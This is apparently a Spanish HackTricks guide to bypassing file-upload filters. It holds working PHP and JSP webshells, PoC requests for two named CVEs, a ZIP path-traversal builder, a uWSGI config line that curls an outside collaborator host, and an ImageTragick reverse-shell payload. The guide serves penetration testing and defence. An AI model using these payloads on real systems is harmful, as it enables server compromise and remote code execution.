Carga de archivos

Reading time: 28 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Metodología general de carga de archivos

Otras extensiones útiles:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. Si se aplican, comprueba las extensiones anteriores. También pruébalas usando algunas letras mayúsculas: pHp, .pHP5, .PhAr ...
  2. Prueba agregar una extensión válida antes de la extensión ejecutable (usa también las extensiones anteriores):
  • file.png.php
  • file.png.Php5
  1. Intenta añadir caracteres especiales al final. Puedes usar Burp para bruteforce todos los caracteres ascii y Unicode. (Nota que también puedes intentar usar las extensiones mencionadas anteriormente)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Intenta evadir las protecciones engañando al parser de extensiones del servidor con técnicas como duplicar la extensión o añadir datos basura (bytes null) entre extensiones. También puedes usar las extensiones anteriores para preparar un payload mejor.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Añade otra capa de extensiones a la comprobación anterior:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Intenta poner la extensión ejecutable antes de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión .php, aunque no termine necesariamente en .php, ejecutará código):
  • ex: file.php.png
  1. Usar NTFS alternate data stream (ADS) en Windows. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un archivo vacío con la extensión prohibida (p. ej. "file.asax:.jpg"). Este archivo puede ser editado más tarde con otras técnicas como usar su short filename. El patrón "::$data" también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón puede ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.").
  2. Intenta romper los límites de nombre de archivo. La extensión válida se corta y queda el PHP malicioso. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Algunos manejadores de subida recortan o normalizan los caracteres de punto final del nombre de archivo guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versiones anteriores a 2.9.1, puedes bypass la validación de extensiones mediante:

  • Usando un MIME de imagen válido y el header mágico (p. ej., PNG’s \x89PNG\r\n\x1a\n).
  • Nombrando el archivo subido con una extensión PHP seguida de un punto, p. ej., shell.php..
  • El servidor elimina el punto final y persiste shell.php, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como /storage/files/).

PoC mínimo (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Luego accede a la ruta guardada (típico en Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Evadir Content-Type, Magic Number, Compresión & Redimensionado

  • Evadir las comprobaciones de Content-Type estableciendo el valor del header Content-Type a: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Evadir la comprobación de magic number añadiendo al comienzo del archivo los bytes de una imagen real (confundir el comando file). O introducir el shell dentro de los metadatos:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ o también podrías introducir el payload directamente en una imagen:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Si se está añadiendo compresión a tu imagen, por ejemplo usando algunas librerías estándar de PHP como PHP-GD, las técnicas anteriores no serán útiles. Sin embargo, podrías usar el chunk PLTE técnica definida aquí para insertar texto que sobrevivirá a la compresión.
  • Github with the code
  • La web también podría estar redimensionando la imagen, usando por ejemplo las funciones de PHP-GD imagecopyresized o imagecopyresampled. Sin embargo, podrías usar el chunk IDAT técnica definida aquí para insertar texto que sobrevivirá a la compresión.
  • Github with the code
  • Otra técnica para crear un payload que sobrevive al redimensionado de una imagen, usando la función PHP-GD thumbnailImage. Sin embargo, podrías usar el chunk tEXt técnica definida aquí para insertar texto que sobrevivirá a la compresión.
  • Github with the code

Otros trucos para comprobar

  • Encontrar una vulnerabilidad para renombrar el archivo ya subido (para cambiar la extensión).
  • Encontrar una vulnerabilidad de Local File Inclusion para ejecutar el backdoor.
  • Posible divulgación de información:
  1. Subir varias veces (y al mismo tiempo) el mismo archivo con el mismo nombre
  2. Subir un archivo con el nombre de un archivo o carpeta que ya existe
  3. Subir un archivo con "." , "..", o "…" como su nombre. Por ejemplo, en Apache en Windows, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/", el nombre "." creará un archivo llamado uploads” en el directorio "/www/".
  4. Subir un archivo que no pueda borrarse fácilmente como "…:.jpg" en NTFS. (Windows)
  5. Subir un archivo en Windows con caracteres inválidos como |<>*?” en su nombre. (Windows)
  6. Subir un archivo en Windows usando nombres reservados (prohibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
  • Intenta también subir un ejecutable (.exe) o un .html (menos sospechoso) que ejecute código cuando lo abra accidentalmente la víctima.

Trucos con extensiones especiales

Si intentas subir archivos a un servidor PHP, echa un vistazo al truco .htaccess para ejecutar código.
Si intentas subir archivos a un servidor ASP, mira el truco .config para ejecutar código.

Los archivos .phar son como los .jar para java, pero para php, y pueden usarse como un archivo php (ejecutándolos con php, o incluyéndolos dentro de un script...).

La extensión .inc a veces se usa para archivos php que sólo se usan para importar archivos, así que, en algún punto, alguien podría haber permitido que esta extensión se ejecute.

Jetty RCE

Si puedes subir un archivo XML a un servidor Jetty puedes obtener RCE porque **nuevos .xml y .war se procesan automáticamente. Así que, como se menciona en la imagen siguiente, sube el archivo XML a $JETTY_BASE/webapps/ ¡y espera la shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Para una exploración detallada de esta vulnerabilidad revisa la investigación original: uWSGI RCE Exploitation.

Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración .ini. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. Notablemente, el operador '@', utilizado como @(filename), está diseñado para incluir el contenido de un archivo. Entre los diferentes esquemas soportados en uWSGI, el esquema "exec" es especialmente potente, permitiendo la lectura de datos desde la salida estándar de un proceso. Esta característica puede manipularse con fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración .ini.

Considera el siguiente ejemplo de un archivo uwsgi.ini malicioso, mostrando varios esquemas:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

La ejecución del payload ocurre durante el parsing del archivo de configuración. Para que la configuración se active y se analice, el proceso uWSGI debe reiniciarse (potencialmente después de un crash o debido a una Denial of Service attack) o el archivo debe configurarse en auto-reload. La función de auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.

Es crucial entender la laxitud del parsing del archivo de configuración de uWSGI. Específicamente, el payload discutido puede insertarse en un archivo binario (por ejemplo, una imagen o PDF), ampliando así el alcance de la posible explotación.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (server ignores type/name, base64-decodes the tail)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Sube un webshell mínimo y ejecuta comandos:

bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notas:

  • El handler performs base64_decode($_POST["img"]) after splitting by ; and ,, then writes bytes to $absolutePath . '/' . $_POST['path'] without validating extension/type.
  • Resulting code runs as the web service user (e.g., XAMPP Apache on Windows).

References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.

wget Truco de subida de archivos/SSRF

En algunas ocasiones puedes encontrar que un servidor está usando wget para descargar archivos y puedes indicar la URL. En estos casos, el código puede comprobar que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se van a descargar archivos permitidos. Sin embargo, esta comprobación puede ser eludida.
La longitud máxima de un nombre de archivo en linux es 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puedes descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo eludirá la comprobación (ya que en este ejemplo ".gif" es una extensión válida) pero wget renombrará el archivo a "A"*232+".php".

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note que otra opción que podrías estar considerando para eludir esta comprobación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial pase la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se esté usando con el parámetro --trust-server-names porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.

Escapar del directorio de uploads mediante NTFS junctions (Windows)

(Para este ataque necesitarás acceso local a la máquina Windows) Cuando los archivos subidos se almacenan en subcarpetas por usuario en Windows (por ejemplo, C:\Windows\Tasks\Uploads<id>) y controlas la creación/eliminación de esa subcarpeta, puedes reemplazarla por una directory junction que apunte a una ubicación sensible (por ejemplo, el webroot). Las cargas posteriores se escribirán en la ruta de destino, lo que permite la ejecución de código si el destino interpreta código del lado del servidor.

Ejemplo de flujo para redirigir las uploads al XAMPP webroot:

cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notas

  • mklink /J crea una directory junction NTFS (reparse point). La cuenta del servidor web debe seguir la junction y tener permiso de escritura en el destino.
  • Esto redirige escrituras de archivos arbitrarios; si el destino ejecuta scripts (PHP/ASP), esto se convierte en RCE.
  • Defensas: no permitas que las upload roots sean controlables por el atacante bajo C:\Windows\Tasks o similar; bloquea la creación de junctions; valida las extensiones en el servidor; almacena uploads en un volumen separado o con ACLs que nieguen la ejecución.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Algunos upload/ingest handlers escriben el raw request body en una ruta del filesystem que se construye a partir de parámetros de query controlados por el usuario. Si el handler también soporta Content-Encoding: gzip y falla en canonicalizar/validar la ruta de destino, puedes combinar path traversal con una payload gzipped para escribir bytes arbitrarios en un directorio servido por la web y obtener RCE (p. ej., dejar un JSP bajo Tomcat’s webapps).

Flujo genérico de explotación:

  • Prepara tu payload server-side (p. ej., un JSP webshell mínimo) y gzip-comprime los bytes.
  • Envía un POST donde un parámetro de path (p. ej., token) contiene traversal que escapa la carpeta prevista, y file indica el filename a persistir. Fija Content-Type: application/octet-stream y Content-Encoding: gzip; el body es la payload comprimida.
  • Navega al archivo escrito para desencadenar la ejecución.

Illustrative request:

http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

A continuación, ejecuta:

http
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notas

  • Las rutas de destino varían según la instalación (p. ej., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ en algunas stacks). Cualquier carpeta expuesta en la web que ejecute JSP funcionará.
  • La extensión Hackvertor de Burp Suite puede producir un gzip body correcto a partir de tu payload.
  • Este es un patrón puro de pre-auth arbitrary file write → RCE; no depende del multipart parsing.

Mitigaciones

  • Deriva los destinos de upload en el server-side; nunca confíes en fragmentos de path provenientes de los clientes.
  • Canonicaliza y fuerza que el path resuelto permanezca dentro de un directorio base allow-listed.
  • Almacena los uploads en un volumen no ejecutable y deniega la ejecución de scripts desde paths escribibles.

Tools

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Algunos legacy upload handlers que usan snprintf() o similar para construir arrays multi-file a partir de un single-file upload pueden ser engañados para falsificar la estructura _FILES. Debido a inconsistencias y truncamientos en el comportamiento de snprintf(), una subida cuidadosamente construida puede aparecer como múltiples archivos indexados en el lado del servidor, confundiendo lógica que asume una forma estricta (p. ej., tratándola como un multi-file upload y tomando ramas inseguras). Aunque hoy en día es nicho, este patrón de “index corruption” ocasionalmente resurge en CTFs y código más antiguo.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress en diferentes carpetas

La creación inesperada de archivos en directorios durante la decompression es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra OS-level command execution a través de malicious file uploads, el soporte de hierarchical compression y las capacidades de directory traversal del ZIP archive format pueden ser explotadas. Esto permite a los atacantes bypass restrictions y escapar de secure upload directories manipulando la decompression functionality de la aplicación objetivo.

Un exploit automatizado para craft dichos archivos está disponible en evilarc on GitHub. La utilidad puede usarse como se muestra:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Además, la symlink trick with evilarc es una opción. Si el objetivo es apuntar a un archivo como /flag.txt, debe crearse un symlink a ese archivo en tu sistema. Esto garantiza que evilarc no encuentre errores durante su ejecución.

A continuación hay un ejemplo de código Python usado para crear un archivo zip malicioso:

python
#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Para más detalles consulta la entrada original en: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creando un shell PHP: Se escribe código PHP para ejecutar comandos pasados a través de la variable $_REQUEST.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying y creación de archivos comprimidos: Se crean múltiples archivos y se arma un zip que los contiene.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modificación con un Hex Editor o vi: Los nombres de los archivos dentro del zip se modifican usando vi o un editor hexadecimal, cambiando "xxA" por "../" para atravesar directorios.
bash
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Cuando un backend valida las entradas ZIP usando ZipArchive de PHP pero la extracción escribe en el sistema de archivos usando los nombres crudos, puedes introducir de contrabando una extensión no permitida insertando un NUL (0x00) en los campos de nombre de archivo. ZipArchive trata el nombre de la entrada como una C‑string y lo trunca en el primer NUL; el sistema de archivos escribe el nombre completo, descartando todo después del NUL.

Flujo general:

  • Prepara un archivo contenedor legítimo (p. ej., un PDF válido) que incruste un pequeño stub PHP en un stream para que el magic/MIME siga siendo un PDF.
  • Nómbralo como shell.php..pdf, zipéalo, luego edita en hexadecimal el header local del ZIP y el nombre en el central directory para reemplazar el primer . tras .php por 0x00, resultando en shell.php\x00.pdf.
  • Los validadores que dependen de ZipArchive “verán” shell.php .pdf y lo permitirán; el extractor escribe shell.php en disco, provocando RCE si la carpeta de subida es ejecutable.

Pasos mínimos del PoC:

bash
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notas

  • Cambia AMBAS ocurrencias del nombre de archivo (local y del directorio central). Algunas herramientas también añaden una entrada extra de data descriptor — ajusta todos los campos de nombre si están presentes.
  • El archivo payload debe seguir pasando la comprobación magic/MIME del lado del servidor. Incrustar el PHP en un stream de PDF mantiene el encabezado válido.
  • Funciona cuando la ruta de enum/validación y la ruta de extracción/escritura discrepan en el manejo de cadenas.

Stacked/concatenated ZIPs (parser disagreement)

Concatenar dos archivos ZIP válidos produce un blob donde distintos parsers se enfocan en diferentes registros EOCD. Muchas herramientas localizan el último End Of Central Directory (EOCD), mientras que algunas librerías (p. ej., ZipArchive en flujos de trabajo específicos) pueden analizar el primer archivo que encuentran. Si la validación enumera el primer archivo y la extracción usa otra herramienta que respeta el último EOCD, un archivo benigno puede pasar las comprobaciones mientras que uno malicioso es extraído.

PoC:

bash
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Patrón de abuso

  • Crea un archivo benigno (tipo permitido, p. ej., un PDF) y un segundo archivo que contenga una extensión bloqueada (p. ej., shell.php).
  • Concátenalos: cat benign.zip evil.zip > combined.zip.
  • Si el servidor valida con un parser (ve benign.zip) pero extrae con otro (procesa evil.zip), el archivo bloqueado termina en la ruta de extracción.

ImageTragic

Sube este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick , 7.0.1-1) (desde el exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incrustar PHP shell en PNG

Incrustar un PHP shell en el IDAT chunk de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones imagecopyresized y imagecopyresampled de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y remuestrear imágenes, respectivamente. La capacidad del PHP shell incrustado para no verse afectado por estas operaciones es una ventaja significativa en ciertos casos de uso.

Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se presenta en el siguiente artículo: "Encoding Web Shells in PNG IDAT chunks". Este recurso ofrece una comprensión integral del proceso y sus implicaciones.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Archivos Polyglot

Los archivos polyglot funcionan como una herramienta única en la ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un GIFAR, un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a ese emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.

La utilidad principal de los polyglot radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivo para upload—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente peligrosos (por ejemplo, JS, PHP o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede sortear sigilosamente estas restricciones.

A pesar de su adaptabilidad, los polyglots encuentran limitaciones. Por ejemplo, aunque un polyglot pueda simultáneamente representar un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su upload puede depender de las políticas de extensión de archivo de la plataforma. Si el sistema es estricto con las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su upload.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Subir JSON válidos como si fueran PDF

Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido aunque no esté permitido, fingiendo que es un archivo PDF (técnicas de esta entrada del blog):

  • mmmagic library: Mientras los bytes mágicos %PDF estén en los primeros 1024 bytes, es válido (ver ejemplo en el post)
  • pdflib library: Agrega un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)
  • file binary: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, coloca la parte inicial de un PDF real y creerá que es un PDF

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks